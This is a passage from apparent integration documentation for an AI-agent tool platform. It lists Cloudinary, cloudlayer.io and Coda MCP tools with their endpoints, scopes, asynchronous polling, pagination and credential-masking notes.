/api/v1/cloudinary/v2/generate/image_to_image. Scopes: asset_management, upload. cloudinary_post_v2_generate_by_cloud_name_text_to_image (write) — Generate image. POST /v2/generate/text_to_image POST /api/v1/cloudinary/v2/generate/text_to_image. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_folder_operations_rename (write) — Rename Folder Operation. PUT /v1_1/folder_operations/rename PUT /api/v1/cloudinary/v1_1/folder_operations/rename. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_folders_by_folder (write) — Update Folder. PUT /v1_1/folders/{folder} PUT /api/v1/cloudinary/v1_1/folders/{folder}. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_folders_by_id (write) — Get Folder By Id. PUT /v1_1/folders/by_id PUT /api/v1/cloudinary/v1_1/folders/by_id. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_folders_by_path (write) — Get Folder By Path. PUT /v1_1/folders/by_path PUT /api/v1/cloudinary/v1_1/folders/by_path. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_folders_descendants (write) — Get Folder Descendants. PUT /v1_1/folders/descendants PUT /api/v1/cloudinary/v1_1/folders/descendants. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_metadata_fields_by_external_id (write) — Update Metadata Field. PUT /v1_1/metadata_fields/{external_id} PUT /api/v1/cloudinary/v1_1/metadata_fields/{external_id}. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_metadata_fields_by_external_id_datasource (write) — Update Metadata Field Datasource. PUT /v1_1/metadata_fields/{external_id}/datasource PUT /api/v1/cloudinary/v1_1/metadata_fields/{external_id}/datasource. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_metadata_fields_by_external_id_datasource_order (write) — Order Metadata Field Datasource. PUT /v1_1/metadata_fields/{external_id}/datasource/order PUT /api/v1/cloudinary/v1_1/metadata_fields/{external_id}/datasource/order. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_metadata_fields_by_external_id_reorder (write) — Reorder Metadata Field. PUT /v1_1/metadata_fields/{external_id}/reorder PUT /api/v1/cloudinary/v1_1/metadata_fields/{external_id}/reorder. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_metadata_fields_order (write) — Reorder Metadata Fields. PUT /v1_1/metadata_fields/order PUT /api/v1/cloudinary/v1_1/metadata_fields/order. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_metadata_rules_by_external_id (write) — Update Metadata Rule. PUT /v1_1/metadata_rules/{external_id} PUT /api/v1/cloudinary/v1_1/metadata_rules/{external_id}. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_people_by_person_id (write) — Update Person. PUT /v1_1/people/{person_id} PUT /api/v1/cloudinary/v1_1/people/{person_id}. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_resources_by_asset_id (write) — Update Resource By Asset Id. PUT /v1_1/resources/{asset_id} PUT /api/v1/cloudinary/v1_1/resources/{asset_id}. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_streaming_profiles_by_name (write) — Update Streaming Profile. PUT /v1_1/streaming_profiles/{name} PUT /api/v1/cloudinary/v1_1/streaming_profiles/{name}. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_transformations_by_transformation (write) — Update Transformation. PUT /v1_1/transformations/{transformation} PUT /api/v1/cloudinary/v1_1/transformations/{transformation}. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_triggers_by_id (write) — Update Trigger. PUT /v1_1/triggers/{id} PUT /api/v1/cloudinary/v1_1/triggers/{id}. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_upload_mappings (write) — Update Upload Mapping. PUT /v1_1/upload_mappings PUT /api/v1/cloudinary/v1_1/upload_mappings. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_upload_mappings_replace (write) — Replace Upload Mappings. PUT /v1_1/upload_mappings/replace PUT /api/v1/cloudinary/v1_1/upload_mappings/replace. Scopes: asset_management, upload. cloudinary_put_v1_1_by_cloud_name_upload_presets_by_name (write) — Update Upload Preset. PUT /v1_1/upload_presets/{name} PUT /api/v1/cloudinary/v1_1/upload_presets/{name}. Scopes: asset_management, upload. ================================================================================ ## cloudlayer.io URL: https://www.agenticfabriq.com/integrations/cloudlayer Section: Integrated Tools cloudlayer.io — 17 MCP tools Provider key: cloudlayer. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. cloudlayer_delete_storage_by_id (write, destructive) — Delete an S3 delivery configuration and fall back to cloudlayer.io's own storage, via DELETE /v2/storage/{id}. THE ONE DESTRUCTIVE TOOL ON THIS PROVIDER, and what it destroys is the ROUTE rather than the files: cloudlayer.io answers `{"message": "Storage configuration deleted. Reverting to default cloud storage."}` and every file generated afterwards lands in cloudlayer.io's own storage instead of your bucket. Files ALREADY delivered to your bucket are yours and are untouched. WHAT IT REALLY COSTS is that the stored bucket credentials are gone -- restoring delivery means running 'Configure S3 storage delivery' again with the access key and secret, which cloudlayer.io will not give back (it returns them masked). It is marked destructive for that reason: nothing else on this surface removes stored configuration, and every downstream automation expecting files in that bucket stops getting them silently, because generation keeps succeeding. DELETE /api/v1/cloudlayer/v2/storage/{id}. Scopes: api. cloudlayer_get_account (read) — Read the account this connection authenticates as, with its plan and usage, via GET /v2/account. THE CALL TO MAKE BEFORE A BULK GENERATION, and this provider's health check -- it is the probe the hosted key-connect page uses. It reports `email`, `uid`, the `subscription` price id, whether it is `subActive`, and the usage that decides whether the next job will run: `calls`/`callsLimit`, `bytesTotal`/`bytesLimit`, `computeTimeTotal`/`computeTimeLimit`, `storageUsed`/`storageLimit`, and `totalJobs`/`successJobs`/`errorJobs`. `-1` in any limit means unlimited. THE SHAPE DEPENDS ON `subType`: a `limit` plan counts calls against `callsLimit`; a `usage` plan carries a `credit` balance instead and leaves the limits at -1. WHY IT IS WORTH CHECKING: cloudlayer answers 401 both for a bad key AND for an account that has exhausted its plan, so a connection that starts failing has two possible causes and this tool tells them apart -- a 200 here with `calls == callsLimit` is quota, not credentials. GET /api/v1/cloudlayer/v2/account. Scopes: api. cloudlayer_get_assets (read) — List the files cloudlayer.io has generated and stored, newest first, via GET /v2/assets. An asset is a generated file. Each entry carries `id`, the `jobId` that produced it, `ext`, `type`, `size`, a `timestamp` and -- the field you usually want -- `url`, a PRE-AUTHENTICATED download link that works with no API key, whose lifetime depends on the account's storage configuration. THE REPLY IS A BARE JSON ARRAY, not an object wrapping one: there is no envelope and no `meta` page block. HOW MANY COME BACK IS UNSETTLED and this build will not pretend otherwise -- cloudlayer.io's endpoint reference documents `limit` (1-100) and `startAfterId`, while its API overview says these listings take no pagination parameters and always return the 10 most recent. Both were re-read 2026-09-25 and no cloudlayer.io key existed to test either. Send `limit` if you want more than 10, then CHECK how many arrived rather than assuming. GET /api/v1/cloudlayer/v2/assets. Scopes: api. cloudlayer_get_assets_by_id (read) — Read one generated file's metadata, via GET /v2/assets/{id}. HOW YOU COLLECT AN ASYNCHRONOUS RESULT. A generation call returns a job id; once 'Get a job' reports `status: "success"`, this tool hands you the asset's `url` -- a pre-authenticated download link that needs no API key -- along with its `ext`, `type` and `size`. The link expires according to the account's storage configuration, so fetch it rather than storing it. This returns the asset's METADATA, never its bytes: a file is downloaded from `url`, not through this integration. GET /api/v1/cloudlayer/v2/assets/{id}. Scopes: api. cloudlayer_get_jobs (read) — List recent generation jobs with their status and cost, newest first, via GET /v2/jobs. Every API call creates a job, so this is the audit and debugging view: `type` (`html-pdf`, `url-image`, ...), `status` (`pending`, `success`, `error`), `params` (what was sent, minus the html/template body), `size`, `processTime`, `apiCreditCost` and `workerName`. THE REPLY IS A BARE JSON ARRAY with no envelope and no `meta` block, and the same unsettled pagination applies as on 'List assets' -- `limit` and `startAfterId` are documented on the endpoint page and denied on the API overview, neither testable without a key, so check how many records actually came back. THE `apiKeyUsed` FIELD IS REMOVED BEFORE YOU SEE IT, and that is this integration's doing rather than cloudlayer.io's: the provider documents the field as carrying the API key that made the call, which is the same credential this connection authenticates with, so the connector replaces it with a marker. Nothing here can hand back the credential. Use `id` and `uid` to correlate jobs instead. GET /api/v1/cloudlayer/v2/jobs. Scopes: api. cloudlayer_get_jobs_by_id (read) — Read one generation job's status and cost, via GET /v2/jobs/{id}. THE POLLING TOOL. Every generation call on this provider is asynchronous by default and answers a job id; call this with that id until `status` leaves `pending`. `success` means the file exists -- go to 'Get an asset' for its download `url`. `error` means it does not, and `params`, `processTime` and `workerName` are what you debug with. The id is a millisecond epoch as a STRING (`"1705312200000"`). `apiCreditCost` says what the job actually cost. LIKE THE LISTING, this reply has its `apiKeyUsed` field replaced by a marker before it reaches you: cloudlayer.io documents that field as the API key the job was created with. GET /api/v1/cloudlayer/v2/jobs/{id}. Scopes: api. cloudlayer_get_storage (read) — Read the account's current S3 delivery configuration, via GET /v2/storage. Returns `title`, `bucket`, `region`, `endpoint` and the credentials in masked form -- cloudlayer.io truncates `accessKeyId` to `AKIA...MPLE` and replaces `secretAccessKey` with `****`, and this integration replaces the secret's value again on the way out. Use it to confirm WHICH bucket generated files are being delivered to before a bulk run; the vendor notes that a failing upload does not fail the generation -- the file silently falls back to cloudlayer.io's own cloud storage -- so 'my files are not in my bucket' is a configuration question this tool answers. An account with no user storage configured is on the default cloud storage. GET /api/v1/cloudlayer/v2/storage. Scopes: api. cloudlayer_get_storage_by_id (read) — Read one S3 delivery configuration by its id, via GET /v2/storage/{id}. The same record 'Get the storage configuration' returns, addressed by the `id` that 'Configure S3 storage delivery' answered with -- which is also the id 'Remove the storage configuration' needs. Credentials come back masked by cloudlayer.io and the secret is replaced again by this integration. An id that does not exist answers 404 rather than an empty record. GET /api/v1/cloudlayer/v2/storage/{id}. Scopes: api. cloudlayer_get_url_image (write) — Screenshot a web page with only its address, via GET /v2/url/image?url=... THE CONVENIENCE FORM of 'Generate an image from a URL': the URL and a timeout, nothing else -- no `imageType`, no viewport, no wait condition, no cookies. Use the POST tool when any of those matter; this one always renders cloudlayer.io's defaults. A GET that WRITES: it creates a job, spends plan credits and stores an asset, which is why it is grouped with the writes. Asynchronous by default -- poll 'Get a job', then read the download `url` from 'Get an asset'. GET /api/v1/cloudlayer/v2/url/image. Scopes: api. cloudlayer_get_url_pdf (write) — Capture a web page as a PDF with only its address, via GET /v2/url/pdf?url=... THE CONVENIENCE FORM of 'Generate a PDF from a URL': it takes the URL and a timeout and nothing else. Use the POST tool when you need a page size, margins, a wait condition, cookies or HTTP Basic credentials -- none of which can be expressed here. It is still a GENERATION call despite being a GET: it creates a job, spends plan credits and stores an asset, which is why it is grouped with the writes. Asynchronous by default, answering `{"id": ..., "status": "pending"}`; poll 'Get a job', then read the file's download `url` from 'Get an asset'. GET /api/v1/cloudlayer/v2/url/pdf. Scopes: api. cloudlayer_post_html_image (write) — Render base64-encoded HTML into a PNG, JPEG, WebP or SVG, via POST /v2/html/image. The image sibling of 'Generate a PDF from HTML', with the same asynchronous contract: it answers `{"id": ..., "status": "pending"}`, you poll 'Get a job', then 'Get an asset' hands you the file's pre-authenticated download `url`. `html` MUST BE BASE64. The image options replace the PDF ones: `imageType` (`png` by default), `quality` for the lossy formats, `transparent` (PNG and WebP only) and `trim` to crop surrounding whitespace. Spends plan credits and, by default, account storage. POST /api/v1/cloudlayer/v2/html/image. Scopes: api. cloudlayer_post_html_pdf (write) — Render base64-encoded HTML into a PDF, via POST /v2/html/pdf. ASYNCHRONOUS BY DEFAULT: it answers `{"id": "1705312200000", "status": "pending"}` straight away and the file appears later. Poll 'Get a job' with that id until `status` is `success` (or `error`), then 'List assets' / 'Get an asset' gives you the file's `url`, which is a pre-authenticated download link that needs no API key. Supply a `webhook` instead if you would rather be told than poll. `html` MUST BE BASE64 -- raw HTML answers 400 naming the field, which reads like you omitted it. Every capture and PDF option (`format`, `margin`, `waitUntil`, `printBackground`, header and footer templates) rides on the same JSON object; the research ledger splits them into several bodies, which are documentation tables rather than alternatives. This call SPENDS PLAN CREDITS and, with the default `storage: true`, consumes account storage. POST /api/v1/cloudlayer/v2/html/pdf. Scopes: api. cloudlayer_post_storage (write) — Point cloudlayer.io at your own S3-compatible bucket for generated files, via POST /v2/storage. CREATE OR REPLACE, not create-only: cloudlayer.io's own reference titles this 'Create or Update Storage Configuration', so sending it again with new credentials is how a key rotation is applied -- and how an existing configuration is overwritten by accident. THIS TOOL TAKES YOUR CLOUD CREDENTIALS IN ITS BODY: `accessKeyId` and `secretAccessKey` for the bucket, which cloudlayer.io then holds in order to write to it. Grant the narrowest IAM policy that works -- the vendor's own example is `s3:PutObject` and `s3:PutObjectAcl` on one bucket ARN -- and use a dedicated user, never root credentials. Works with AWS S3 (omit `endpoint`), and with Google Cloud Storage, DigitalOcean Spaces, Backblaze B2, MinIO, Wasabi and Cloudflare R2 by naming their `endpoint`. PLAN GATED: cloudlayer.io offers user storage on its Growth and Business plans, so a smaller account gets a refusal from the provider rather than from this integration. The reply is just `{"title": ..., "id": ...}`; read it back with 'Get the storage configuration'. POST /api/v1/cloudlayer/v2/storage. Scopes: api. cloudlayer_post_template_image (write) — Render a saved or inline Nunjucks template into an image, via POST /v2/template/image. The image sibling of 'Generate a PDF from a template', for repeatable graphics -- social cards, badges, certificates -- where the layout is fixed and only `data` changes. Give EITHER `templateId` OR `template` (base64), never both. The multipart file-upload variant cloudlayer.io also accepts is not offered here; base64 reaches the same result. Image options apply (`imageType`, `quality`, `transparent`, `trim`). Asynchronous by default; poll 'Get a job', then read the file's `url` from 'Get an asset'. POST /api/v1/cloudlayer/v2/template/image. Scopes: api. cloudlayer_post_template_pdf (write) — Render a saved or inline Nunjucks template into a PDF, via POST /v2/template/pdf. THE TOOL FOR REPEATABLE DOCUMENTS -- invoices, certificates, statements: the layout lives in the template and only `data` changes per document. Give EITHER `templateId` (a template saved in your cloudlayer.io gallery) OR `template` (the template inline as a base64 string), never both. `data` is a JSON OBJECT of the values the template renders. cloudlayer.io also accepts a template as an uploaded FILE on a multipart body; that variant is not offered here -- a native tool's body is JSON and this platform has no file channel on this surface -- and base64 reaches the same result. Asynchronous by default; poll 'Get a job' and read the file's `url` from 'Get an asset'. POST /api/v1/cloudlayer/v2/template/pdf. Scopes: api. cloudlayer_post_url_image (write) — Screenshot a web page with the full option set, via POST /v2/url/image. The full form: `imageType`, `quality`, `transparent`, `trim`, a `viewPort` to emulate a device, `waitUntil`/`waitForSelector` and `autoScroll` for lazy-loaded content. THE SAME TWO FIELDS CARRY SOMEBODY ELSE'S SECRETS as on the PDF sibling: `authentication` (HTTP Basic credentials for the target site) and `cookies` (a live session) travel to cloudlayer.io in this body so its browser can reach a page behind a login. Asynchronous by default -- poll 'Get a job', then 'Get an asset' for the download `url`. There is no `batch` here; combining several captures into one file is a PDF-only feature. POST /api/v1/cloudlayer/v2/url/image. Scopes: api. cloudlayer_post_url_pdf (write) — Capture a web page as a PDF with the full option set, via POST /v2/url/pdf. The full form: page size, margins, header and footer templates, `waitUntil`/`waitForSelector`, `autoScroll` for lazy-loaded content, and `batch` to fold several URLs into ONE multi-page PDF. TWO FIELDS CARRY SOMEBODY ELSE'S SECRETS and are worth a second thought before you send them: `authentication` (HTTP Basic credentials for the target site) and `cookies` (a live session) both travel to cloudlayer.io in this body so its browser can reach a page behind a login. Asynchronous by default -- poll 'Get a job', then take the download `url` from 'Get an asset'. Spends plan credits and, by default, account storage. POST /api/v1/cloudlayer/v2/url/pdf. Scopes: api. ================================================================================ ## Coda (Superhuman Docs) URL: https://www.agenticfabriq.com/integrations/coda Section: Integrated Tools Coda (Superhuman Docs) — 125 MCP tools Provider key: coda. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. coda_delete_docs_by_docid (write, destructive) — Delete doc. Deletes a doc. DELETE /docs/{docId} DELETE /api/v1/coda/docs/{docId}. Scopes: api. coda_delete_docs_by_docid_acl_permissions_by_permissionid (write, destructive) — Delete permission. Deletes an existing permission. DELETE /docs/{docId}/acl/permissions/{permissionId} DELETE /api/v1/coda/docs/{docId}/acl/permissions/{permissionId}. Scopes: api. coda_delete_docs_by_docid_domains_by_customdocdomain (write, destructive) — Deletes a custom domain. Deletes a custom domain from a published doc. DELETE /docs/{docId}/domains/{customDocDomain} DELETE /api/v1/coda/docs/{docId}/domains/{customDocDomain}. Scopes: api. coda_delete_docs_by_docid_pages_by_pageidorname (write, destructive) — Delete a page. Deletes the specified page. DELETE /docs/{docId}/pages/{pageIdOrName}. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. DELETE /api/v1/coda/docs/{docId}/pages/{pageIdOrName}. Scopes: api. coda_delete_docs_by_docid_pages_by_pageidorname_content (write, destructive) — Delete page content. Delete content from a page. You can delete specific elements by providing their IDs, or delete all content from the page. DELETE /docs/{docId}/pages/{pageIdOrName}/content. DESTRUCTIVE DEFAULT: `body.elementIds` names which elements to remove, and the provider deletes ALL of the page's content when it is omitted or empty. There is no confirmation and no undo through the API -- send the specific element ids unless clearing the whole page is what was asked for. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. DELETE /api/v1/coda/docs/{docId}/pages/{pageIdOrName}/content. Scopes: api. coda_delete_docs_by_docid_publish (write, destructive) — Unpublish doc. Unpublishes a doc. DELETE /docs/{docId}/publish DELETE /api/v1/coda/docs/{docId}/publish. Scopes: api. coda_delete_docs_by_docid_tables_by_tableidorname_rows (write, destructive) — Delete multiple rows. Deletes the specified rows from the table or view. This endpoint will always return a 202. Row deletions are generally processed within several seconds. DELETE /docs/{docId}/tables/{tableIdOrName}/rows. The path addresses the table; `body.rowIds` is what names the rows to delete and the provider requires it. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. DELETE /api/v1/coda/docs/{docId}/tables/{tableIdOrName}/rows. Scopes: api. coda_delete_docs_by_docid_tables_by_tableidorname_rows_by_rowidorname (write, destructive) — Delete row. Deletes the specified row from the table or view. This endpoint will always return a 202, so long as the row exists and is accessible (and the update is structurally valid). DELETE /docs/{docId}/tables/{tableIdOrName}/rows/{rowIdOrName}. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. DELETE /api/v1/coda/docs/{docId}/tables/{tableIdOrName}/rows/{rowIdOrName}. Scopes: api. coda_delete_folders_by_folderid (write, destructive) — Delete folder. Deletes a folder. The folder must be empty (contain no docs). DELETE /folders/{folderId} DELETE /api/v1/coda/folders/{folderId}. Scopes: api. coda_delete_packs_by_packid (write, destructive) — Delete Pack. Delete a given Pack. DELETE /packs/{packId} DELETE /api/v1/coda/packs/{packId}. Scopes: api. coda_delete_packs_by_packid_category_by_categoryname (write, destructive) — Delete a category for Pack. Delete a publishing category for a given Pack. DELETE /packs/{packId}/category/{categoryName} DELETE /api/v1/coda/packs/{packId}/category/{categoryName}. Scopes: api. coda_delete_packs_by_packid_invitations_by_invitationid (write, destructive) — Revoke an invitation for Pack. Revoke a pending Pack invitation. DELETE /packs/{packId}/invitations/{invitationId} DELETE /api/v1/coda/packs/{packId}/invitations/{invitationId}. Scopes: api. coda_delete_packs_by_packid_listingdraft (write, destructive) — Delete Pack listing draft. Delete the listing draft for a Pack, discarding any unsaved changes. DELETE /packs/{packId}/listingDraft DELETE /api/v1/coda/packs/{packId}/listingDraft. Scopes: api. coda_delete_packs_by_packid_maker_by_loginid (write, destructive) — Delete a maker for Pack. Delete a maker for a given Pack, who will not be displayed in the corresponding Packs page. DELETE /packs/{packId}/maker/{loginId} DELETE /api/v1/coda/packs/{packId}/maker/{loginId}. Scopes: api. coda_delete_packs_by_packid_permissions (write, destructive) — Delete a user's own permissions for Pack. Delete a user's own permissions for a given Pack. DELETE /packs/{packId}/permissions DELETE /api/v1/coda/packs/{packId}/permissions. Scopes: api. coda_delete_packs_by_packid_permissions_by_permissionid (write, destructive) — Delete a permission for Pack. Delete user, workspace, or global permissions for a given Pack. DELETE /packs/{packId}/permissions/{permissionId} DELETE /api/v1/coda/packs/{packId}/permissions/{permissionId}. Scopes: api. coda_get_analytics_docs (read) — List doc analytics. Returns analytics data for available docs per day. GET /analytics/docs. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/analytics/docs. Scopes: api. coda_get_analytics_docs_by_docid_pages (read) — List page analytics. Returns analytics data for a given doc within the day. This method will return a 401 if the given doc is not in an Enterprise workspace. GET /analytics/docs/{docId}/pages. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/analytics/docs/{docId}/pages. Scopes: api. coda_get_analytics_docs_summary (read) — Get doc analytics summary. Returns summarized analytics data for available docs. GET /analytics/docs/summary GET /api/v1/coda/analytics/docs/summary. Scopes: api. coda_get_analytics_packs (read) — List Pack analytics. Returns analytics data for Packs the user can edit. GET /analytics/packs. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/analytics/packs. Scopes: api. coda_get_analytics_packs_by_packid_formulas (read) — List Pack formula analytics. Returns analytics data for Pack formulas. GET /analytics/packs/{packId}/formulas. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/analytics/packs/{packId}/formulas. Scopes: api. coda_get_analytics_packs_summary (read) — Get Pack analytics summary. Returns summarized analytics data for Packs the user can edit. GET /analytics/packs/summary GET /api/v1/coda/analytics/packs/summary. Scopes: api. coda_get_analytics_updated (read) — Get analytics last updated day. Returns days based on Pacific Standard Time when analytics were last updated. GET /analytics/updated GET /api/v1/coda/analytics/updated. Scopes: api. coda_get_categories (read) — Get doc categories. Gets all available doc categories. GET /categories GET /api/v1/coda/categories. Scopes: api. coda_get_docs (read) — List available docs. Returns a list of documents accessible by the user, and which they have opened at least once. GET /docs. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/docs. Scopes: api. coda_get_docs_by_docid (read) — Get info about a doc. Returns metadata for the specified doc. GET /docs/{docId} GET /api/v1/coda/docs/{docId}. Scopes: api. coda_get_docs_by_docid_acl_metadata (read) — Get sharing metadata. Returns metadata associated with sharing for this document. GET /docs/{docId}/acl/metadata GET /api/v1/coda/docs/{docId}/acl/metadata. Scopes: api. coda_get_docs_by_docid_acl_permissions (read) — List permissions. Returns a list of permissions for this document. GET /docs/{docId}/acl/permissions. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/docs/{docId}/acl/permissions. Scopes: api. coda_get_docs_by_docid_acl_principals_search (read) — Search principals. Searches for user and group principals matching the query that this doc can be shared with. At most 20 results will be returned for both users and groups. GET /docs/{docId}/acl/principals/search GET /api/v1/coda/docs/{docId}/acl/principals/search. Scopes: api. coda_get_docs_by_docid_acl_settings (read) — Get ACL settings. Returns settings associated with ACLs for this document. GET /docs/{docId}/acl/settings GET /api/v1/coda/docs/{docId}/acl/settings. Scopes: api. coda_get_docs_by_docid_controls (read) — List controls. Returns a list of controls in a document. GET /docs/{docId}/controls. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/docs/{docId}/controls. Scopes: api. coda_get_docs_by_docid_controls_by_controlidorname (read) — Get a control. Returns info on a control. GET /docs/{docId}/controls/{controlIdOrName} GET /api/v1/coda/docs/{docId}/controls/{controlIdOrName}. Scopes: api. coda_get_docs_by_docid_domains (read) — List custom doc domains. List all custom domains for a published doc. GET /docs/{docId}/domains. The response carries `nextPageToken`, but this operation declares no `pageToken` parameter to send it back to -- an asymmetry in the provider's own contract, so treat the first page as all this tool can reach. The provider's OpenAPI document prefixes this path's `{docId}` placeholder with a stray dollar sign; every sibling operation on the same resource spells it `/docs/{docId}/domains`, so the stray character is treated as a document defect and is not sent. The repaired path is the one that works: measured 2026-09-04 against a real doc, it answered 200. GET /api/v1/coda/docs/{docId}/domains. Scopes: api. coda_get_docs_by_docid_formulas (read) — List formulas. Returns a list of named formulas in a document. GET /docs/{docId}/formulas. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/docs/{docId}/formulas. Scopes: api. coda_get_docs_by_docid_formulas_by_formulaidorname (read) — Get a formula. Returns info on a formula. GET /docs/{docId}/formulas/{formulaIdOrName} GET /api/v1/coda/docs/{docId}/formulas/{formulaIdOrName}. Scopes: api. coda_get_docs_by_docid_pages (read) — List pages. Returns a list of pages in a document. GET /docs/{docId}/pages. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/docs/{docId}/pages. Scopes: api. coda_get_docs_by_docid_pages_by_pageidorname (read) — Get a page. Returns details about a page. GET /docs/{docId}/pages/{pageIdOrName} GET /api/v1/coda/docs/{docId}/pages/{pageIdOrName}. Scopes: api. coda_get_docs_by_docid_pages_by_pageidorname_content (read) — List page content. Returns a list of content elements in a page. GET /docs/{docId}/pages/{pageIdOrName}/content. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/docs/{docId}/pages/{pageIdOrName}/content. Scopes: api. coda_get_docs_by_docid_pages_by_pageidorname_export_by_requestid (read) — Content export status. Check the status of a page content export. GET /docs/{docId}/pages/{pageIdOrName}/export/{requestId} GET /api/v1/coda/docs/{docId}/pages/{pageIdOrName}/export/{requestId}. Scopes: api. coda_get_docs_by_docid_tables (read) — List tables. Returns a list of tables in a document. GET /docs/{docId}/tables. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/docs/{docId}/tables. Scopes: api. coda_get_docs_by_docid_tables_by_tableidorname (read) — Get a table. Returns details about a specific table or view. GET /docs/{docId}/tables/{tableIdOrName} GET /api/v1/coda/docs/{docId}/tables/{tableIdOrName}. Scopes: api. coda_get_docs_by_docid_tables_by_tableidorname_columns (read) — List columns. Returns a list of columns in a table. GET /docs/{docId}/tables/{tableIdOrName}/columns. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/docs/{docId}/tables/{tableIdOrName}/columns. Scopes: api. coda_get_docs_by_docid_tables_by_tableidorname_columns_by_columnidorname (read) — Get a column. Returns details about a column in a table. GET /docs/{docId}/tables/{tableIdOrName}/columns/{columnIdOrName} GET /api/v1/coda/docs/{docId}/tables/{tableIdOrName}/columns/{columnIdOrName}. Scopes: api. coda_get_docs_by_docid_tables_by_tableidorname_rows (read) — List table rows. Returns a list of rows in a table. ### Value results The `valueFormat` parameter dictates in what format the API should return values for individual cells. GET /docs/{docId}/tables/{tableIdOrName}/rows. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. Incremental reads: the response carries `nextSyncToken`, and sending it back as `syncToken` returns only what changed since. It is the only parameter here that changes WHICH rows are returned rather than how many. GET /api/v1/coda/docs/{docId}/tables/{tableIdOrName}/rows. Scopes: api. coda_get_docs_by_docid_tables_by_tableidorname_rows_by_rowidorname (read) — Get a row. Returns details about a row in a table. GET /docs/{docId}/tables/{tableIdOrName}/rows/{rowIdOrName} GET /api/v1/coda/docs/{docId}/tables/{tableIdOrName}/rows/{rowIdOrName}. Scopes: api. coda_get_domains_provider_by_customdocdomain (read) — Gets custom doc domains providers. Gets the provider (ie. GoDaddy) of a custom domain. GET /domains/provider/{customDocDomain} GET /api/v1/coda/domains/provider/{customDocDomain}. Scopes: api. coda_get_folders (read) — List folders. Returns a list of folders the user has access to. GET /folders. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/folders. Scopes: api. coda_get_folders_by_folderid (read) — Get folder. Returns the requested folder. GET /folders/{folderId} GET /api/v1/coda/folders/{folderId}. Scopes: api. coda_get_folders_by_folderid_children (read) — List folder children. Returns the direct child folders of a folder. Subfolders the caller cannot access — but manages the parent of — are returned as opaque ids in 